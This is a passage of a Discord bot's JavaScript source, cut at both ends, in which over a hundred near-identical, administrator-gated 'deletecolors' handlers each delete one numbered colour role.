4729 if(!message.member.hasPermission('ADMINISTRATOR')) return
4730 let role = message.guild.roles.find('name', '13');
4731
4732 role.delete()
4733 }
4734
4735});
4736
4737client.on('message', async message => {
4738
4739 let args = message.content.split(' ').slice(1);
4740if (message.content.startsWith(prefix +"deletecolors")) {
4741 if(!message.member.hasPermission('ADMINISTRATOR')) return
4742 let role = message.guild.roles.find('name', '14');
4743
4744 role.delete()
4745 }
4746
4747});
4748
4749client.on('message', async message => {
4750
4751 let args = message.content.split(' ').slice(1);
4752if (message.content.startsWith(prefix +"deletecolors")) {
4753 if(!message.member.hasPermission('ADMINISTRATOR')) return
4754 let role = message.guild.roles.find('name', '15');
4755
4756 role.delete()
4757 }
4758
4759});
4760
4761client.on('message', async message => {
4762
4763 let args = message.content.split(' ').slice(1);
4764if (message.content.startsWith(prefix +"deletecolors")) {
4765 if(!message.member.hasPermission('ADMINISTRATOR')) return
4766 let role = message.guild.roles.find('name', '16');
4767
4768 role.delete()
4769 }
4770
4771});
4772
4773client.on('message', async message => {
4774
4775 let args = message.content.split(' ').slice(1);
4776if (message.content.startsWith(prefix +"deletecolors")) {
4777 if(!message.member.hasPermission('ADMINISTRATOR')) return
4778 let role = message.guild.roles.find('name', '17');
4779
4780 role.delete()
4781 }
4782
4783});
4784
4785
4786
4787client.on('message', async message => {
4788
4789 let args = message.content.split(' ').slice(1);
4790if (message.content.startsWith(prefix +"deletecolors")) {
4791 if(!message.member.hasPermission('ADMINISTRATOR')) return
4792 let role = message.guild.roles.find('name', '18');
4793
4794 role.delete()
4795 }
4796
4797});
4798
4799client.on('message', async message => {
4800
4801 let args = message.content.split(' ').slice(1);
4802if (message.content.startsWith(prefix +"deletecolors")) {
4803 if(!message.member.hasPermission('ADMINISTRATOR')) return
4804 let role = message.guild.roles.find('name', '19');
4805
4806 role.delete()
4807 }
4808
4809});
4810
4811client.on('message', async message => {
4812
4813 let args = message.content.split(' ').slice(1);
4814if (message.content.startsWith(prefix +"deletecolors")) {
4815 if(!message.member.hasPermission('ADMINISTRATOR')) return
4816 let role = message.guild.roles.find('name', '20');
4817
4818 role.delete()
4819 }
4820
4821});
4822client.on('message', async message => {
4823
4824 let args = message.content.split(' ').slice(1);
4825if (message.content.startsWith("+!deletecolors")) {
4826 if(!message.member.hasPermission('ADMINISTRATOR')) return
4827 let role = message.guild.roles.find('name', '21');
4828
4829 role.delete()
4830 }
4831
4832});
4833
4834client.on('message', async message => {
4835
4836 let args = message.content.split(' ').slice(1);
4837if (message.content.startsWith(prefix +"deletecolors")) {
4838 if(!message.member.hasPermission('ADMINISTRATOR')) return
4839 let role = message.guild.roles.find('name', '22');
4840
4841 role.delete()
4842 }
4843
4844});
4845
4846client.on('message', async message => {
4847
4848 let args = message.content.split(' ').slice(1);
4849if (message.content.startsWith(prefix +"deletecolors")) {
4850 if(!message.member.hasPermission('ADMINISTRATOR')) return
4851 let role = message.guild.roles.find('name', '23');
4852
4853 role.delete()
4854 }
4855
4856});
4857
4858
4859
4860client.on('message', async message => {
4861
4862 let args = message.content.split(' ').slice(1);
4863if (message.content.startsWith(prefix +"deletecolors")) {
4864 if(!message.member.hasPermission('ADMINISTRATOR')) return
4865 let role = message.guild.roles.find('name', '24');
4866
4867 role.delete()
4868 }
4869
4870});
4871
4872
4873
4874client.on('message', async message => {
4875
4876 let args = message.content.split(' ').slice(1);
4877if (message.content.startsWith(prefix +"deletecolors")) {
4878 if(!message.member.hasPermission('ADMINISTRATOR')) return
4879 let role = message.guild.roles.find('name', '25');
4880
4881 role.delete()
4882 }
4883
4884});
4885
4886
4887
4888client.on('message', async message => {
4889
4890 let args = message.content.split(' ').slice(1);
4891if (message.content.startsWith(prefix +"deletecolors")) {
4892 if(!message.member.hasPermission('ADMINISTRATOR')) return
4893 let role = message.guild.roles.find('name', '26');
4894
4895 role.delete()
4896 }
4897
4898});
4899
4900
4901client.on('message', async message => {
4902
4903 let args = message.content.split(' ').slice(1);
4904if (message.content.startsWith(prefix +"deletecolors")) {
4905 if(!message.member.hasPermission('ADMINISTRATOR')) return
4906 let role = message.guild.roles.find('name', '27');
4907
4908 role.delete()
4909 }
4910
4911});
4912
4913client.on('message', async message => {
4914
4915 let args = message.content.split(' ').slice(1);
4916if (message.content.startsWith(prefix +"deletecolors")) {
4917 if(!message.member.hasPermission('ADMINISTRATOR')) return
4918 let role = message.guild.roles.find('name', '28');
4919
4920 role.delete()
4921 }
4922
4923});
4924
4925
4926client.on('message', async message => {
4927
4928 let args = message.content.split(' ').slice(1);
4929if (message.content.startsWith(prefix +"deletecolors")) {
4930 if(!message.member.hasPermission('ADMINISTRATOR')) return
4931 let role = message.guild.roles.find('name', '29');
4932
4933 role.delete()
4934 }
4935
4936});
4937
4938
4939client.on('message', async message => {
4940
4941 let args = message.content.split(' ').slice(1);
4942if (message.content.startsWith(prefix +"deletecolors")) {
4943 if(!message.member.hasPermission('ADMINISTRATOR')) return
4944 let role = message.guild.roles.find('name', '30');
4945
4946 role.delete()
4947 }
4948
4949});
4950
4951
4952client.on('message', async message => {
4953
4954 let args = message.content.split(' ').slice(1);
4955if (message.content.startsWith(prefix +"deletecolors")) {
4956 if(!message.member.hasPermission('ADMINISTRATOR')) return
4957 let role = message.guild.roles.find('name', '31');
4958
4959 role.delete()
4960 }
4961
4962});
4963
4964client.on('message', async message => {
4965
4966 let args = message.content.split(' ').slice(1);
4967if (message.content.startsWith(prefix +"deletecolors")) {
4968 if(!message.member.hasPermission('ADMINISTRATOR')) return
4969 let role = message.guild.roles.find('name', '32');
4970
4971 role.delete()
4972 }
4973
4974});
4975
4976
4977client.on('message', async message => {
4978
4979 let args = message.content.split(' ').slice(1);
4980if (message.content.startsWith(prefix +"deletecolors")) {
4981 if(!message.member.hasPermission('ADMINISTRATOR')) return
4982 let role = message.guild.roles.find('name', '33');
4983
4984 role.delete()
4985 }
4986
4987});
4988
4989client.on('message', async message => {
4990
4991 let args = message.content.split(' ').slice(1);
4992if (message.content.startsWith(prefix +"deletecolors")) {
4993 if(!message.member.hasPermission('ADMINISTRATOR')) return
4994 let role = message.guild.roles.find('name', '34');
4995
4996 role.delete()
4997 }
4998
4999});
5000
5001
5002client.on('message', async message => {
5003
5004 let args = message.content.split(' ').slice(1);
5005if (message.content.startsWith(prefix +"deletecolors")) {
5006 if(!message.member.hasPermission('ADMINISTRATOR')) return
5007 let role = message.guild.roles.find('name', '35');
5008
5009 role.delete()
5010 }
5011
5012});
5013
5014client.on('message', async message => {
5015
5016 let args = message.content.split(' ').slice(1);
5017if (message.content.startsWith(prefix +"deletecolors")) {
5018 if(!message.member.hasPermission('ADMINISTRATOR')) return
5019 let role = message.guild.roles.find('name', '36');
5020
5021 role.delete()
5022 }
5023
5024});
5025
5026client.on('message', async message => {
5027
5028 let args = message.content.split(' ').slice(1);
5029if (message.content.startsWith(prefix +"deletecolors")) {
5030 if(!message.member.hasPermission('ADMINISTRATOR')) return
5031 let role = message.guild.roles.find('name', '37');
5032
5033 role.delete()
5034 }
5035
5036});
5037
5038client.on('message', async message => {
5039
5040 let args = message.content.split(' ').slice(1);
5041if (message.content.startsWith(prefix +"deletecolors")) {
5042 if(!message.member.hasPermission('ADMINISTRATOR')) return
5043 let role = message.guild.roles.find('name', '38');
5044
5045 role.delete()
5046 }
5047
5048});
5049
5050client.on('message', async message => {
5051
5052 let args = message.content.split(' ').slice(1);
5053if (message.content.startsWith(prefix +"deletecolors")) {
5054 if(!message.member.hasPermission('ADMINISTRATOR')) return
5055 let role = message.guild.roles.find('name', '39');
5056
5057 role.delete()
5058 }
5059
5060});
5061
5062client.on('message', async message => {
5063
5064 let args = message.content.split(' ').slice(1);
5065if (message.content.startsWith(prefix +"deletecolors")) {
5066 if(!message.member.hasPermission('ADMINISTRATOR')) return
5067 let role = message.guild.roles.find('name', '40');
5068
5069 role.delete()
5070 }
5071
5072});
5073
5074client.on('message', async message => {
5075
5076 let args = message.content.split(' ').slice(1);
5077if (message.content.startsWith(prefix +"deletecolors")) {
5078 if(!message.member.hasPermission('ADMINISTRATOR')) return
5079 let role = message.guild.roles.find('name', '41');
5080
5081 role.delete()
5082 }
5083
5084});
5085
5086client.on('message', async message => {
5087
5088 let args = message.content.split(' ').slice(1);
5089if (message.content.startsWith(prefix +"deletecolors")) {
5090 if(!message.member.hasPermission('ADMINISTRATOR')) return
5091 let role = message.guild.roles.find('name', '42');
5092
5093 role.delete()
5094 }
5095
5096});
5097
5098client.on('message', async message => {
5099
5100 let args = message.content.split(' ').slice(1);
5101if (message.content.startsWith(prefix +"deletecolors")) {
5102 if(!message.member.hasPermission('ADMINISTRATOR')) return
5103 let role = message.guild.roles.find('name', '43');
5104
5105 role.delete()
5106 }
5107
5108});
5109
5110client.on('message', async message => {
5111
5112 let args = message.content.split(' ').slice(1);
5113if (message.content.startsWith(prefix +"deletecolors")) {
5114 if(!message.member.hasPermission('ADMINISTRATOR')) return
5115 let role = message.guild.roles.find('name', '44');
5116
5117 role.delete()
5118 }
5119
5120});
5121
5122client.on('message', async message => {
5123
5124 let args = message.content.split(' ').slice(1);
5125if (message.content.startsWith(prefix +"deletecolors")) {
5126 if(!message.member.hasPermission('ADMINISTRATOR')) return
5127 let role = message.guild.roles.find('name', '45');
5128
5129 role.delete()
5130 }
5131
5132});
5133
5134client.on('message', async message => {
5135
5136 let args = message.content.split(' ').slice(1);
5137if (message.content.startsWith(prefix +"deletecolors")) {
5138 if(!message.member.hasPermission('ADMINISTRATOR')) return
5139 let role = message.guild.roles.find('name', '46');
5140
5141 role.delete()
5142 }
5143
5144});
5145
5146client.on('message', async message => {
5147
5148 let args = message.content.split(' ').slice(1);
5149if (message.content.startsWith(prefix +"deletecolors")) {
5150 if(!message.member.hasPermission('ADMINISTRATOR')) return
5151 let role = message.guild.roles.find('name', '47');
5152
5153 role.delete()
5154 }
5155
5156});
5157
5158client.on('message', async message => {
5159
5160 let args = message.content.split(' ').slice(1);
5161if (message.content.startsWith(prefix +"deletecolors")) {
5162 if(!message.member.hasPermission('ADMINISTRATOR')) return
5163 let role = message.guild.roles.find('name', '48');
5164
5165 role.delete()
5166 }
5167
5168});
5169
5170client.on('message', async message => {
5171
5172 let args = message.content.split(' ').slice(1);
5173if (message.content.startsWith(prefix +"deletecolors")) {
5174 if(!message.member.hasPermission('ADMINISTRATOR')) return
5175 let role = message.guild.roles.find('name', '49');
5176
5177 role.delete()
5178 }
5179
5180});
5181
5182client.on('message', async message => {
5183
5184 let args = message.content.split(' ').slice(1);
5185if (message.content.startsWith(prefix +"deletecolors")) {
5186 if(!message.member.hasPermission('ADMINISTRATOR')) return
5187 let role = message.guild.roles.find('name', '50');
5188
5189 role.delete()
5190 }
5191
5192});
5193client.on('message', async message => {
5194
5195 let args = message.content.split(' ').slice(1);
5196if (message.content.startsWith(prefix +"deletecolors")) {
5197 if(!message.member.hasPermission('ADMINISTRATOR')) return
5198 let role = message.guild.roles.find('name', '51');
5199
5200 role.delete()
5201 }
5202
5203});
5204client.on('message', async message => {
5205
5206 let args = message.content.split(' ').slice(1);
5207if (message.content.startsWith(prefix +"deletecolors")) {
5208 if(!message.member.hasPermission('ADMINISTRATOR')) return
5209 let role = message.guild.roles.find('name', '52');
5210
5211 role.delete()
5212 }
5213
5214});
5215client.on('message', async message => {
5216
5217 let args = message.content.split(' ').slice(1);
5218if (message.content.startsWith(prefix +"deletecolors")) {
5219 if(!message.member.hasPermission('ADMINISTRATOR')) return
5220 let role = message.guild.roles.find('name', '53');
5221
5222 role.delete()
5223 }
5224
5225});
5226client.on('message', async message => {
5227
5228 let args = message.content.split(' ').slice(1);
5229if (message.content.startsWith(prefix +"deletecolors")) {
5230 if(!message.member.hasPermission('ADMINISTRATOR')) return
5231 let role = message.guild.roles.find('name', '54');
5232
5233 role.delete()
5234 }
5235
5236});
5237client.on('message', async message => {
5238
5239 let args = message.content.split(' ').slice(1);
5240if (message.content.startsWith(prefix +"deletecolors")) {
5241 if(!message.member.hasPermission('ADMINISTRATOR')) return
5242 let role = message.guild.roles.find('name', '55');
5243
5244 role.delete()
5245 }
5246
5247});
5248client.on('message', async message => {
5249
5250 let args = message.content.split(' ').slice(1);
5251if (message.content.startsWith(prefix +"deletecolors")) {
5252 if(!message.member.hasPermission('ADMINISTRATOR')) return
5253 let role = message.guild.roles.find('name', '56');
5254
5255 role.delete()
5256 }
5257
5258});
5259client.on('message', async message => {
5260
5261 let args = message.content.split(' ').slice(1);
5262if (message.content.startsWith(prefix +"deletecolors")) {
5263 if(!message.member.hasPermission('ADMINISTRATOR')) return
5264 let role = message.guild.roles.find('name', '57');
5265
5266 role.delete()
5267 }
5268
5269});
5270client.on('message', async message => {
5271
5272 let args = message.content.split(' ').slice(1);
5273if (message.content.startsWith(prefix +"deletecolors")) {
5274 if(!message.member.hasPermission('ADMINISTRATOR')) return
5275 let role = message.guild.roles.find('name', '58');
5276
5277 role.delete()
5278 }
5279
5280});
5281client.on('message', async message => {
5282
5283 let args = message.content.split(' ').slice(1);
5284if (message.content.startsWith(prefix +"deletecolors")) {
5285 if(!message.member.hasPermission('ADMINISTRATOR')) return
5286 let role = message.guild.roles.find('name', '59');
5287
5288 role.delete()
5289 }
5290
5291});
5292client.on('message', async message => {
5293
5294 let args = message.content.split(' ').slice(1);
5295if (message.content.startsWith(prefix +"deletecolors")) {
5296 if(!message.member.hasPermission('ADMINISTRATOR')) return
5297 let role = message.guild.roles.find('name', '60');
5298
5299 role.delete()
5300 }
5301
5302});
5303client.on('message', async message => {
5304
5305 let args = message.content.split(' ').slice(1);
5306if (message.content.startsWith(prefix +"deletecolors")) {
5307 if(!message.member.hasPermission('ADMINISTRATOR')) return
5308 let role = message.guild.roles.find('name', '-61');
5309
5310 role.delete()
5311 }
5312
5313});
5314client.on('message', async message => {
5315
5316 let args = message.content.split(' ').slice(1);
5317if (message.content.startsWith(prefix +"deletecolors")) {
5318 if(!message.member.hasPermission('ADMINISTRATOR')) return
5319 let role = message.guild.roles.find('name', '62');
5320
5321 role.delete()
5322 }
5323
5324});
5325client.on('message', async message => {
5326
5327 let args = message.content.split(' ').slice(1);
5328if (message.content.startsWith(prefix +"deletecolors")) {
5329 if(!message.member.hasPermission('ADMINISTRATOR')) return
5330 let role = message.guild.roles.find('name', '63');
5331
5332 role.delete()
5333 }
5334
5335});
5336client.on('message', async message => {
5337
5338 let args = message.content.split(' ').slice(1);
5339if (message.content.startsWith(prefix +"deletecolors")) {
5340 if(!message.member.hasPermission('ADMINISTRATOR')) return
5341 let role = message.guild.roles.find('name', '64');
5342
5343 role.delete()
5344 }
5345
5346});
5347client.on('message', async message => {
5348
5349 let args = message.content.split(' ').slice(1);
5350if (message.content.startsWith(prefix +"deletecolors")) {
5351 if(!message.member.hasPermission('ADMINISTRATOR')) return
5352 let role = message.guild.roles.find('name', '65');
5353
5354 role.delete()
5355 }
5356
5357});
5358client.on('message', async message => {
5359
5360 let args = message.content.split(' ').slice(1);
5361if (message.content.startsWith(prefix +"deletecolors")) {
5362 if(!message.member.hasPermission('ADMINISTRATOR')) return
5363 let role = message.guild.roles.find('name', '66');
5364
5365 role.delete()
5366 }
5367
5368});
5369client.on('message', async message => {
5370
5371 let args = message.content.split(' ').slice(1);
5372if (message.content.startsWith(prefix +"deletecolors")) {
5373 if(!message.member.hasPermission('ADMINISTRATOR')) return
5374 let role = message.guild.roles.find('name', '67');
5375
5376 role.delete()
5377 }
5378
5379});
5380client.on('message', async message => {
5381
5382 let args = message.content.split(' ').slice(1);
5383if (message.content.startsWith(prefix +"deletecolors")) {
5384 if(!message.member.hasPermission('ADMINISTRATOR')) return
5385 let role = message.guild.roles.find('name', '68');
5386
5387 role.delete()
5388 }
5389
5390});
5391client.on('message', async message => {
5392
5393 let args = message.content.split(' ').slice(1);
5394if (message.content.startsWith(prefix +"deletecolors")) {
5395 if(!message.member.hasPermission('ADMINISTRATOR')) return
5396 let role = message.guild.roles.find('name', '69');
5397
5398 role.delete()
5399 }
5400
5401});
5402client.on('message', async message => {
5403
5404 let args = message.content.split(' ').slice(1);
5405if (message.content.startsWith(prefix +"deletecolors")) {
5406 if(!message.member.hasPermission('ADMINISTRATOR')) return
5407 let role = message.guild.roles.find('name', '70');
5408
5409 role.delete()
5410 }
5411
5412});
5413
5414client.on('message', async message => {
5415
5416 let args = message.content.split(' ').slice(1);
5417if (message.content.startsWith(prefix +"deletecolors")) {
5418 if(!message.member.hasPermission('ADMINISTRATOR')) return
5419 let role = message.guild.roles.find('name', '71');
5420
5421 role.delete()
5422 }
5423
5424});
5425
5426client.on('message', async message => {
5427
5428 let args = message.content.split(' ').slice(1);
5429if (message.content.startsWith(prefix +"deletecolors")) {
5430 if(!message.member.hasPermission('ADMINISTRATOR')) return
5431 let role = message.guild.roles.find('name', '72');
5432
5433 role.delete()
5434 }
5435
5436});
5437
5438client.on('message', async message => {
5439
5440 let args = message.content.split(' ').slice(1);
5441if (message.content.startsWith(prefix +"deletecolors")) {
5442 if(!message.member.hasPermission('ADMINISTRATOR')) return
5443 let role = message.guild.roles.find('name', '73');
5444
5445 role.delete()
5446 }
5447
5448});
5449
5450client.on('message', async message => {
5451
5452 let args = message.content.split(' ').slice(1);
5453if (message.content.startsWith(prefix +"deletecolors")) {
5454 if(!message.member.hasPermission('ADMINISTRATOR')) return
5455 let role = message.guild.roles.find('name', '74');
5456
5457 role.delete()
5458 }
5459
5460});
5461
5462client.on('message', async message => {
5463
5464 let args = message.content.split(' ').slice(1);
5465if (message.content.startsWith(prefix +"deletecolors")) {
5466 if(!message.member.hasPermission('ADMINISTRATOR')) return
5467 let role = message.guild.roles.find('name', '75');
5468
5469 role.delete()
5470 }
5471
5472});
5473
5474client.on('message', async message => {
5475
5476 let args = message.content.split(' ').slice(1);
5477if (message.content.startsWith(prefix +"deletecolors")) {
5478 if(!message.member.hasPermission('ADMINISTRATOR')) return
5479 let role = message.guild.roles.find('name', '76');
5480
5481 role.delete()
5482 }
5483
5484});
5485
5486client.on('message', async message => {
5487
5488 let args = message.content.split(' ').slice(1);
5489if (message.content.startsWith(prefix +"deletecolors")) {
5490 if(!message.member.hasPermission('ADMINISTRATOR')) return
5491 let role = message.guild.roles.find('name', '77');
5492
5493 role.delete()
5494 }
5495
5496});
5497
5498client.on('message', async message => {
5499
5500 let args = message.content.split(' ').slice(1);
5501if (message.content.startsWith(prefix +"deletecolors")) {
5502 if(!message.member.hasPermission('ADMINISTRATOR')) return
5503 let role = message.guild.roles.find('name', '78');
5504
5505 role.delete()
5506 }
5507
5508});
5509
5510client.on('message', async message => {
5511
5512 let args = message.content.split(' ').slice(1);
5513if (message.content.startsWith(prefix +"deletecolors")) {
5514 if(!message.member.hasPermission('ADMINISTRATOR')) return
5515 let role = message.guild.roles.find('name', '79');
5516
5517 role.delete()
5518 }
5519
5520});
5521
5522client.on('message', async message => {
5523
5524 let args = message.content.split(' ').slice(1);
5525if (message.content.startsWith(prefix +"deletecolors")) {
5526 if(!message.member.hasPermission('ADMINISTRATOR')) return
5527 let role = message.guild.roles.find('name', '80');
5528
5529 role.delete()
5530 }
5531
5532});
5533
5534client.on('message', async message => {
5535
5536 let args = message.content.split(' ').slice(1);
5537if (message.content.startsWith(prefix +"deletecolors")) {
5538 if(!message.member.hasPermission('ADMINISTRATOR')) return
5539 let role = message.guild.roles.find('name', '81');
5540
5541 role.delete()
5542 }
5543
5544});
5545
5546client.on('message', async message => {
5547
5548 let args = message.content.split(' ').slice(1);
5549if (message.content.startsWith(prefix +"deletecolors")) {
5550 if(!message.member.hasPermission('ADMINISTRATOR')) return
5551 let role = message.guild.roles.find('name', '82');
5552
5553 role.delete()
5554 }
5555
5556});
5557
5558client.on('message', async message => {
5559
5560 let args = message.content.split(' ').slice(1);
5561if (message.content.startsWith(prefix +"deletecolors")) {
5562 if(!message.member.hasPermission('ADMINISTRATOR')) return
5563 let role = message.guild.roles.find('name', '83');
5564
5565 role.delete()
5566 }
5567
5568});
5569
5570client.on('message', async message => {
5571
5572 let args = message.content.split(' ').slice(1);
5573if (message.content.startsWith(prefix +"deletecolors")) {
5574 if(!message.member.hasPermission('ADMINISTRATOR')) return
5575 let role = message.guild.roles.find('name', '84');
5576
5577 role.delete()
5578 }
5579
5580});
5581
5582client.on('message', async message => {
5583
5584 let args = message.content.split(' ').slice(1);
5585if (message.content.startsWith(prefix +"deletecolors")) {
5586 if(!message.member.hasPermission('ADMINISTRATOR')) return
5587 let role = message.guild.roles.find('name', '85');
5588
5589 role.delete()
5590 }
5591
5592});
5593
5594client.on('message', async message => {
5595
5596 let args = message.content.split(' ').slice(1);
5597if (message.content.startsWith(prefix +"deletecolors")) {
5598 if(!message.member.hasPermission('ADMINISTRATOR')) return
5599 let role = message.guild.roles.find('name', '86');
5600
5601 role.delete()
5602 }
5603
5604});
5605
5606client.on('message', async message => {
5607
5608 let args = message.content.split(' ').slice(1);
5609if (message.content.startsWith(prefix +"deletecolors")) {
5610 if(!message.member.hasPermission('ADMINISTRATOR')) return
5611 let role = message.guild.roles.find('name', '87');
5612
5613 role.delete()
5614 }
5615
5616});
5617
5618client.on('message', async message => {
5619
5620 let args = message.content.split(' ').slice(1);
5621if (message.content.startsWith(prefix +"deletecolors")) {
5622 if(!message.member.hasPermission('ADMINISTRATOR')) return
5623 let role = message.guild.roles.find('name', '88');
5624
5625 role.delete()
5626 }
5627
5628});
5629
5630client.on('message', async message => {
5631
5632 let args = message.content.split(' ').slice(1);
5633if (message.content.startsWith(prefix +"deletecolors")) {
5634 if(!message.member.hasPermission('ADMINISTRATOR')) return
5635 let role = message.guild.roles.find('name', '89');
5636
5637 role.delete()
5638 }
5639
5640});
5641
5642client.on('message', async message => {
5643
5644 let args = message.content.split(' ').slice(1);
5645if (message.content.startsWith(prefix +"deletecolors")) {
5646 if(!message.member.hasPermission('ADMINISTRATOR')) return
5647 let role = message.guild.roles.find('name', '90');
5648
5649 role.delete()
5650 }
5651
5652});
5653
5654client.on('message', async message => {
5655
5656 let args = message.content.split(' ').slice(1);
5657if (message.content.startsWith(prefix +"deletecolors")) {
5658 if(!message.member.hasPermission('ADMINISTRATOR')) return
5659 let role = message.guild.roles.find('name', '91');
5660
5661 role.delete()
5662 }
5663
5664});
5665
5666client.on('message', async message => {
5667
5668 let args = message.content.split(' ').slice(1);
5669if (message.content.startsWith(prefix +"deletecolors")) {
5670 if(!message.member.hasPermission('ADMINISTRATOR')) return
5671 let role = message.guild.roles.find('name', '92');
5672
5673 role.delete()
5674 }
5675
5676});
5677
5678client.on('message', async message => {
5679
5680 let args = message.content.split(' ').slice(1);
5681if (message.content.startsWith(prefix +"deletecolors")) {
5682 if(!message.member.hasPermission('ADMINISTRATOR')) return
5683 let role = message.guild.roles.find('name', '93');
5684
5685 role.delete()
5686 }
5687
5688});
5689
5690client.on('message', async message => {
5691
5692 let args = message.content.split(' ').slice(1);
5693if (message.content.startsWith(prefix +"deletecolors")) {
5694 if(!message.member.hasPermission('ADMINISTRATOR')) return
5695 let role = message.guild.roles.find('name', '94');
5696
5697 role.delete()
5698 }
5699
5700});
5701
5702client.on('message', async message => {
5703
5704 let args = message.content.split(' ').slice(1);
5705if (message.content.startsWith(prefix +"deletecolors")) {
5706 if(!message.member.hasPermission('ADMINISTRATOR')) return
5707 let role = message.guild.roles.find('name', '95');
5708
5709 role.delete()
5710 }
5711
5712});
5713
5714client.on('message', async message => {
5715
5716 let args = message.content.split(' ').slice(1);
5717if (message.content.startsWith(prefix +"deletecolors")) {
5718 if(!message.member.hasPermission('ADMINISTRATOR')) return
5719 let role = message.guild.roles.find('name', '96');
5720
5721 role.delete()
5722 }
5723
5724});
5725
5726client.on('message', async message => {
5727
5728 let args = message.content.split(' ').slice(1);
5729if (message.content.startsWith (">deletecolors")) {
5730 if(!message.member.hasPermission('ADMINISTRATOR')) return
5731 let role = message.guild.roles.find('name', '97');
5732
5733 role.delete()
5734 }
5735
5736});
5737
5738client.on('message', async message => {
5739
5740 let args = message.content.split(' ').slice(1);
5741if (message.content.startsWith(prefix +"deletecolors")) {
5742 if(!message.member.hasPermission('ADMINISTRATOR')) return
5743 let role = message.guild.roles.find('name', '98');
5744
5745 role.delete()
5746 }
5747
5748});
5749
5750client.on('message', async message => {
5751
5752 let args = message.content.split(' ').slice(1);
5753if (message.content.startsWith(prefix +"deletecolors")) {
5754 if(!message.member.hasPermission('ADMINISTRATOR')) return
5755 let role = message.guild.roles.find('name', '99');
5756
5757 role.delete()
5758 }
5759
5760});
5761
5762client.on('message', async message => {
5763
5764 let args = message.content.split(' ').slice(1);
5765if (message.content.startsWith(prefix +"deletecolors")) {
5766 if(!message.member.hasPermission('ADMINISTRATOR')) return
5767 let role = message.guild.roles.find('name', '100');
5768
5769 role.delete()
5770 }
5771
5772});
5773
5774client.on('message', async message => {
5775
5776 let args = message.content.split(' ').slice(1);
5777if (message.content.startsWith(prefix +"deletecolors")) {
5778 if(!message.member.hasPermission('ADMINISTRATOR')) return
5779 let role = message.guild.roles.find('name', '101');
5780
5781 role.delete()
5782 }
5783
5784});
5785
5786client.on('message', async message => {
5787
5788 let args = message.content.split(' ').slice(1);
5789if (message.content.startsWith(prefix +"deletecolors")) {
5790 if(!message.member.hasPermission('ADMINISTRATOR')) return
5791 let role = message.guild.roles.find('name', '102');
5792
5793 role.delete()
5794 }
5795
5796});
5797
5798client.on('message', async message => {
5799
5800 let args = message.content.split(' ').slice(1);
5801if (message.content.startsWith(prefix +"deletecolors")) {
5802 if(!message.member.hasPermission('ADMINISTRATOR')) return
5803 let role = message.guild.roles.find('name', '103');
5804
5805 role.delete()
5806 }
5807
5808});
5809
5810client.on('message', async message => {
5811
5812 let args = message.content.split(' ').slice(1);
5813if (message.content.startsWith(prefix +"deletecolors")) {
5814 if(!message.member.hasPermission('ADMINISTRATOR')) return
5815 let role = message.guild.roles.find('name', '104');
5816
5817 role.delete()
5818 }
5819
5820});
5821
5822client.on('message', async message => {
5823
5824 let args = message.content.split(' ').slice(1);
5825if (message.content.startsWith(prefix +"deletecolors")) {
5826 if(!message.member.hasPermission('ADMINISTRATOR')) return
5827 let role = message.guild.roles.find('name', '105');
5828
5829 role.delete()
5830 }
5831
5832});
5833
5834client.on('message', async message => {
5835
5836 let args = message.content.split(' ').slice(1);
5837if (message.content.startsWith (">deletecolors")) {
5838 if(!message.member.hasPermission('ADMINISTRATOR')) return
5839 let role = message.guild.roles.find('name', '106');
5840
5841 role.delete()
5842 }
5843
5844});
5845
5846client.on('message', async message => {
5847
5848 let args = message.content.split(' ').slice(1);
5849if (message.content.startsWith(prefix +"deletecolors")) {
5850 if(!message.member.hasPermission('ADMINISTRATOR')) return
5851 let role = message.guild.roles.find('name', '107');
5852
5853 role.delete()
5854 }
5855
5856});
5857
5858client.on('message', async message => {
5859
5860 let args = message.content.split(' ').slice(1);
5861if (message.content.startsWith(prefix +"deletecolors")) {
5862 if(!message.member.hasPermission('ADMINISTRATOR')) return
5863 let role = message.guild.roles.find('name', '108');
5864
5865 role.delete()
5866 }
5867
5868});
5869
5870client.on('message', async message => {
5871
5872 let args = message.content.split(' ').slice(1);
5873if (message.content.startsWith(prefix +"deletecolors")) {
5874 if(!message.member.hasPermission('ADMINISTRATOR')) return
5875 let role = message.guild.roles.find('name', '109');
5876
5877 role.delete()
5878 }
5879
5880});
5881
5882client.on('message', async message => {
5883
5884 let args = message.content.split(' ').slice(1);
5885if (message.content.startsWith(prefix +"deletecolors")) {
5886 if(!message.member.hasPermission('ADMINISTRATOR')) return
5887 let role = message.guild.roles.find('name', '110');
5888
5889 role.delete()
5890 }
5891
5892});
5893
5894client.on('message', async message => {
5895
5896 let args = message.content.split(' ').slice(1);
5897if (message.content.startsWith(prefix +"deletecolors")) {
5898 if(!message.member.hasPermission('ADMINISTRATOR')) return
5899 let role = message.guild.roles.find('name', '111');
5900
5901 role.delete()
5902 }
5903
5904});
5905
5906client.on('message', async message => {
5907
5908 let args = message.content.split(' ').slice(1);
5909if (message.content.startsWith(prefix +"deletecolors")) {
5910 if(!message.member.hasPermission('ADMINISTRATOR')) return
5911 let role = message.guild.roles.find('name', '112');
5912
5913 role.delete()
5914 }
5915
5916});
5917
5918client.on('message', async message => {
5919
5920 let args = message.content.split(' ').slice(1);
5921if (message.content.startsWith(prefix +"deletecolors")) {
5922 if(!message.member.hasPermission('ADMINISTRATOR')) return
5923 let role = message.guild.roles.find('name', '113');
5924
5925 role.delete()
5926 }
5927
5928});
5929
5930client.on('message', async message => {
5931
5932 let args = message.content.split(' ').slice(1);
5933if (message.content.startsWith(prefix +"deletecolors")) {
5934 if(!message.member.hasPermission('ADMINISTRATOR')) return
5935 let role = message.guild.roles.find('name', '114');
5936
5937 role.delete()
5938 }
5939
5940});
5941
5942client.on('message', async message => {
5943
5944 let args = message.content.split(' ').slice(1);
5945if (message.content.startsWith(prefix +"deletecolors")) {
5946 if(!message.member.hasPermission('ADMINISTRATOR')) return
5947 let role = message.guild.roles.find('name', '115');
5948
5949 role.delete()
5950 }
5951
5952});
5953
5954client.on('message', async message => {
5955
5956 let args = message.content.split(' ').slice(1);
5957if (message.content.startsWith(prefix +"deletecolors")) {
5958 if(!message.member.hasPermission('ADMINISTRATOR')) return
5959 let role = message.guild.roles.find('name', '116');
5960
5961 role.delete()
5962 }
5963
5964});
5965
5966client.on('message', async message => {
5967
5968 let args = message.content.split(' ').slice(1);
5969if (message.content.startsWith(prefix +"deletecolors")) {
5970 if(!message.member.hasPermission('ADMINISTRATOR')) return
5971 let role = message.guild.roles.find('name', '117');
5972
5973 role.delete()
5974 }
5975
5976});
5977
5978client.on('message', async message => {
5979
5980 let args = message.content.split(' ').slice(1);
5981if (message.content.startsWith(prefix +"deletecolors")) {
